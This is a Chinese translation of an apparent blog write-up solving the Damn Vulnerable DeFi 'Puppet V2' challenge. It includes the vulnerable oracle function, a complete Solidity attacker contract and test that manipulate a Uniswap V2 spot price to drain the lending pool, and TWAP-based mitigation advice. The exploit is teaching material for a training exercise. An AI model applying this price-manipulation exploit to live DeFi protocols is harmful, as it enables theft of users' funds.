本文分析了Damn Vulnerable DeFi V4挑战中的Puppet V2漏洞。该漏洞与之前的版本类似,在于依赖Uniswap V2池的当前储备来计算价格,这使得攻击者可以通过大幅swap代币来操纵价格,从而以极低的抵押借出大量代币,最终将资金转移到指定账户。
这个解释假定你事先了解此挑战中的智能合约,并将专注于漏洞分析。

前一个池子的开发者们似乎已经吸取了教训。并发布了一个新版本。
现在他们使用 Uniswap v2 交易对作为价格预言机,以及推荐的实用程序库。这难道还不够吗?
你的初始余额为 20 ETH 和 10000 DVT 代币。池子里有一百万 DVT 代币处于风险之中!
从池中保存所有资金,并将它们存入指定的恢复帐户。
尽管升级了价格计算机制,但该池子与前一个池子具有相同的漏洞。 借贷池现在使用 Uniswap V2 和封装 ETH (WETH) 作为抵押品,但根本缺陷仍然存在。
漏洞在于 PuppetV2Pool 合约中的 _getOracleQuote() 函数:
    function _getOracleQuote(uint256 amount) private view returns (uint256) {
        (uint256 reservesWETH, uint256 reservesToken) =
            UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
        return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
    }此实现方式存在漏洞,因为它仍然依赖于单个流动性池的状态,并且预言机仍然使用当前储备金来计算价格。 这意味着可以通过执行大量交换来操纵价格,从而显着更改储备金比率。
    contract Attacker is Test{
        WETH weth;
        DamnValuableToken token;
        IUniswapV2Router02 uniswapV2Router;
        PuppetV2Pool lendingPool;
        address recovery;
        uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
        uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
        constructor(
            address payable _weth,
            address _token,
            address _uniswapV2Router,
            address _lendingPool,
            address _recovery
        ) payable {
            weth = WETH(_weth);
            token = DamnValuableToken(_token);
            uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
            lendingPool = PuppetV2Pool(_lendingPool);
            recovery = _recovery;
        }
        function startAttack() external {
            weth.deposit{value: address(this).balance}();
            token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
            address[] memory path = new address[](2);
            path[0] = address(token);
            path[1] = address(weth);
            uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                PLAYER_INITIAL_TOKEN_BALANCE,
                9e18,
                path,
                address(this),
                block.timestamp
            );
            uint256 amount = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
            weth.approve(address(lendingPool), amount);
            lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
            token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
        }
        function recieve() external payable {}
    }    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppetV2() public checkSolvedByPlayer {
        Attacker attacker = new Attacker{value: 20e18}(
            payable(address(weth)),
            address(token),
            address(uniswapV2Router),
            address(lendingPool),
            recovery
        );
        token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
        attacker.startAttack();
    }可以使用与先前挑战中建议的相同机制来保护池。
通过使用多个高流动性价格来源并实施 TWAP 机制 可以避免此漏洞。
包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!